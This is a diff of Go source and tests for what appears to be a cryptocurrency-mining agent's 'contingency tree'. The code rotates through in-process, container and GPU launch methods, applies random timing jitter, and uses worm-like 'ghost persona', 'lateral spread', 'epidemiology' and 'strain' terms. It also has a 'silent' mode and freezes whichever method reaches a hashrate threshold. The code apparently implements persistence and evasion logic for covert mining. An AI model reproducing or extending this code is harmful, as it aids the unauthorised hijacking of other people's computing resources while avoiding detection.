||||
r.frozenMethod = branch
|
||||
r.mu.Unlock()
|
||||
return true
|
||||
}
|
||||
if won && ghost {
|
||||
// Ghost win promotes method but canonical must acquire pool on next pass.
|
||||
r.mu.Lock()
|
||||
r.forceMethod = branch
|
||||
r.mu.Unlock()
|
||||
return true
|
||||
}
|
||||
|
||||
if !ghost && r.hooks.StopAll != nil {
|
||||
r.hooks.StopAll()
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (r *ContingencyTreeRunner) branchDetail(branch ContingencyBranch, ghost bool) string {
|
||||
label := "contingency discipline"
|
||||
if ghost {
|
||||
label += " · local persona fork (no lateral spread)"
|
||||
}
|
||||
switch branch {
|
||||
case BranchIdleTune:
|
||||
return label + " · idle_tune: thread/throttle backoff before retry"
|
||||
case BranchSelfSurgery:
|
||||
return label + " · self_surgery: epidemiology skip/force hooks"
|
||||
default:
|
||||
return label + " · rotate miner path with timing jitter"
|
||||
}
|
||||
}
|
||||
|
||||
func (r *ContingencyTreeRunner) executeBranch(branch ContingencyBranch) error {
|
||||
switch branch {
|
||||
case BranchInProcess:
|
||||
if r.hooks.StartInProcess == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return r.hooks.StartInProcess()
|
||||
case BranchContainer:
|
||||
if r.hooks.StartContainer == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return r.hooks.StartContainer()
|
||||
case BranchGPUSubprocess:
|
||||
if r.hooks.StartGPU == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return r.hooks.StartGPU()
|
||||
case BranchIdleTune:
|
||||
if r.hooks.ApplyIdleTune == nil {
|
||||
return errors.New("idle_tune hook unavailable")
|
||||
}
|
||||
return r.hooks.ApplyIdleTune()
|
||||
case BranchSelfSurgery:
|
||||
if r.hooks.ApplySurgery == nil {
|
||||
return errors.New("self_surgery hook unavailable")
|
||||
}
|
||||
r.mu.Lock()
|
||||
skips := make([]string, 0, len(r.skipMethods))
|
||||
for s := range r.skipMethods {
|
||||
skips = append(skips, s)
|
||||
}
|
||||
force := string(r.forceMethod)
|
||||
r.mu.Unlock()
|
||||
return r.hooks.ApplySurgery(skips, force)
|
||||
default:
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
}
|
||||
|
||||
func (r *ContingencyTreeRunner) snapshotHashrate() float64 {
|
||||
if r.hooks.Hashrate == nil {
|
||||
return 0
|
||||
}
|
||||
return r.hooks.Hashrate()
|
||||
}
|
||||
|
||||
func (r *ContingencyTreeRunner) jitterWait(ctx context.Context) {
|
||||
d := r.jitterDuration()
|
||||
if d <= 0 {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case <-time.After(d):
|
||||
}
|
||||
}
|
||||
|
||||
func (r *ContingencyTreeRunner) jitterDuration() time.Duration {
|
||||
r.mu.Lock()
|
||||
base := r.policy.JitterMs
|
||||
r.mu.Unlock()
|
||||
if base <= 0 {
|
||||
return 0
|
||||
}
|
||||
var buf [8]byte
|
||||
_, _ = rand.Read(buf[:])
|
||||
n := binary.LittleEndian.Uint64(buf[:]) % uint64(base+1)
|
||||
return time.Duration(base/2+int(n)) * time.Millisecond
|
||||
}
|
||||
|
||||
func (r *ContingencyTreeRunner) emitHop(hop OnionMinerHop, depth int, exhausted bool) {
|
||||
r.mu.Lock()
|
||||
r.hopIndex++
|
||||
hop.HopIndex = r.hopIndex
|
||||
if hop.Timestamp == "" {
|
||||
hop.Timestamp = time.Now().UTC().Format(time.RFC3339)
|
||||
}
|
||||
r.hops = append(r.hops, hop)
|
||||
depth = len(r.hops)
|
||||
report := r.report
|
||||
r.mu.Unlock()
|
||||
if report != nil {
|
||||
report(hop, depth, exhausted)
|
||||
}
|
||||
}
|
||||
|
||||
// PoolGate serializes pool activation across canonical and ghost branches.
|
||||
type PoolGate struct {
|
||||
mu sync.Mutex
|
||||
held bool
|
||||
holder string
|
||||
}
|
||||
|
||||
func NewPoolGate() *PoolGate { return &PoolGate{} }
|
||||
|
||||
func (g *PoolGate) Active() bool {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
return g.held
|
||||
}
|
||||
|
||||
func (g *PoolGate) Acquire(id string) bool {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
if g.held && g.holder != id {
|
||||
return false
|
||||
}
|
||||
g.held = true
|
||||
g.holder = id
|
||||
return true
|
||||
}
|
||||
|
||||
func (g *PoolGate) Release(id string) {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
if g.holder == id {
|
||||
g.held = false
|
||||
g.holder = ""
|
||||
}
|
||||
}
|
||||
|
||||
// MinHashrateWin is the minimum H/s to treat a branch as linked.
|
||||
const MinHashrateWin = 0.5
|
||||
|
||||
// BranchWon reports whether hashrate satisfies a win threshold.
|
||||
func BranchWon(hashrate float64) bool {
|
||||
return hashrate >= MinHashrateWin && !math.IsNaN(hashrate)
|
||||
}
|
||||
171
agent/miner/contingency_tree_test.go
Normal file
171
agent/miner/contingency_tree_test.go
Normal file
@@ -0,0 +1,171 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestDefaultContingencyBranchOrder(t *testing.T) {
|
||||
want := []ContingencyBranch{BranchInProcess, BranchContainer, BranchGPUSubprocess, BranchIdleTune, BranchSelfSurgery}
|
||||
if len(DefaultContingencyBranchOrder) != len(want) {
|
||||
t.Fatalf("order=%v", DefaultContingencyBranchOrder)
|
||||
}
|
||||
for i := range want {
|
||||
if DefaultContingencyBranchOrder[i] != want[i] {
|
||||
t.Fatalf("idx %d = %q want %q", i, DefaultContingencyBranchOrder[i], want[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMutateBranchOrderForPersona(t *testing.T) {
|
||||
base := append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...)
|
||||
agg := MutateBranchOrderForPersona(base, "aggressive", false)
|
||||
if agg[0] != BranchGPUSubprocess && agg[0] != BranchInProcess {
|
||||
t.Fatalf("aggressive should front gpu/inprocess, got %v", agg)
|
||||
}
|
||||
silent := MutateBranchOrderForPersona(base, "silent", false)
|
||||
if silent[0] != BranchContainer {
|
||||
t.Fatalf("silent should front container, got %v", silent)
|
||||
}
|
||||
rotated := MutateBranchOrderForPersona(base, "balanced", true)
|
||||
if len(rotated) != len(base) {
|
||||
t.Fatalf("rotate length=%d", len(rotated))
|
||||
}
|
||||
}
|
||||
|
||||
func TestContingencyTreeWinsOnInProcess(t *testing.T) {
|
||||
var hr atomic.Value
|
||||
hr.Store(1200.0)
|
||||
var hops []OnionMinerHop
|
||||
gate := NewPoolGate()
|
||||
r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{
|
||||
StartInProcess: func() error { return nil },
|
||||
StartContainer: func() error { return ErrMethodUnavailable },
|
||||
StartGPU: func() error { return ErrMethodUnavailable },
|
||||
ApplyIdleTune: func() error { return nil },
|
||||
ApplySurgery: func([]string, string) error { return nil },
|
||||
StopAll: func() {},
|
||||
Hashrate: func() float64 { v, _ := hr.Load().(float64); return v },
|
||||
PoolActive: gate.Active,
|
||||
AcquirePool: func() bool { return gate.Acquire("canonical") },
|
||||
ReleasePool: func() { gate.Release("canonical") },
|
||||
}, func(h OnionMinerHop, depth int, exhausted bool) {
|
||||
hops = append(hops, h)
|
||||
})
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
go r.Run(ctx)
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
cancel()
|
||||
|
||||
method, ok := r.Frozen()
|
||||
if !ok || method != BranchInProcess {
|
||||
t.Fatalf("frozen=%q ok=%v hops=%d", method, ok, len(hops))
|
||||
}
|
||||
won := false
|
||||
for _, h := range hops {
|
||||
if h.Outcome == "won" && h.Method == string(BranchInProcess) {
|
||||
won = true
|
||||
}
|
||||
}
|
||||
if !won {
|
||||
t.Fatalf("expected won hop, got %v", hops)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGhostSkipsWhenPoolHeld(t *testing.T) {
|
||||
gate := NewPoolGate()
|
||||
gate.Acquire("canonical")
|
||||
var ghostSkipped int
|
||||
r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1, Personas: []string{"silent"}}, BranchAttemptHooks{
|
||||
StartInProcess: func() error { return nil },
|
||||
StartContainer: func() error { return nil },
|
||||
Hashrate: func() float64 { return 0 },
|
||||
PoolActive: gate.Active,
|
||||
AcquirePool: func() bool { return gate.Acquire("canonical") },
|
||||
ReleasePool: func() { gate.Release("canonical") },
|
||||
}, func(h OnionMinerHop, _ int, _ bool) {
|
||||
if h.Outcome == "ghost_skipped" {
|
||||
ghostSkipped++
|
||||
}
|
||||
})
|
||||
_ = r.tryBranch(context.Background(), BranchContainer, "silent", "silent", true)
|
||||
if ghostSkipped != 1 {
|
||||
t.Fatalf("ghost_skipped=%d", ghostSkipped)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHospiceRetiresAfterExhaustCycles(t *testing.T) {
|
||||
var retired bool
|
||||
policy := ContingencyPolicy{Enabled: true, JitterMs: 1, HospiceAfter: 2}
|
||||
r := NewContingencyTreeRunner(policy, BranchAttemptHooks{
|
||||
StartInProcess: func() error { return ErrMethodUnavailable },
|
||||
StartContainer: func() error { return ErrMethodUnavailable },
|
||||
StartGPU: func() error { return ErrMethodUnavailable },
|
||||
ApplyIdleTune: func() error { return ErrMethodUnavailable },
|
||||
ApplySurgery: func([]string, string) error { return ErrMethodUnavailable },
|
||||
StopAll: func() {},
|
||||
Hashrate: func() float64 { return 0 },
|
||||
AcquirePool: func() bool { return true },
|
||||
ReleasePool: func() {},
|
||||
}, func(h OnionMinerHop, _ int, exhausted bool) {
|
||||
if h.Outcome == "strain_retired" {
|
||||
retired = true
|
||||
}
|
||||
})
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
|
||||
defer cancel()
|
||||
go r.Run(ctx)
|
||||
time.Sleep(2500 * time.Millisecond)
|
||||
cancel()
|
||||
if !retired {
|
||||
t.Fatal("expected hospice strain_retired hop")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyBranchParamsResetsExhaustion(t *testing.T) {
|
||||
r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true}, BranchAttemptHooks{}, nil)
|
||||
r.exhaustCycles = 5
|
||||
r.ApplyBranchParams(ContingencyBranchParams{
|
||||
BranchOrder: []string{"container", "inprocess"},
|
||||
Persona: "aggressive",
|
||||
SkipMethods: []string{"gpu_subprocess"},
|
||||
})
|
||||
if r.exhaustCycles != 0 {
|
||||
t.Fatalf("exhaust=%d", r.exhaustCycles)
|
||||
}
|
||||
if len(r.branchOrder) != 2 || r.branchOrder[0] != BranchContainer {
|
||||
t.Fatalf("order=%v", r.branchOrder)
|
||||
}
|
||||
if !r.skipMethods["gpu_subprocess"] {
|
||||
t.Fatal("expected skip gpu_subprocess")
|
||||
}
|
||||
}
|
||||
|
||||
func TestOperatorPauseStopsRun(t *testing.T) {
|
||||
r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{
|
||||
Hashrate: func() float64 { return 0 },
|
||||
AcquirePool: func() bool { return true },
|
||||
ReleasePool: func() {},
|
||||
}, nil)
|
||||
r.SetOperatorPaused(true)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
|
||||
defer cancel()
|
||||
r.Run(ctx)
|
||||
if r.Depth() != 0 {
|
||||
t.Fatalf("depth=%d want 0 on pause", r.Depth())
|
||||
}
|
||||
}
|
||||
|
||||
func TestBranchWonThreshold(t *testing.T) {
|
||||
if !BranchWon(1.0) {
|
||||
t.Fatal("1 H/s should win")
|
||||
}
|
||||
if BranchWon(0) {
|
||||
t.Fatal("0 should not win")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user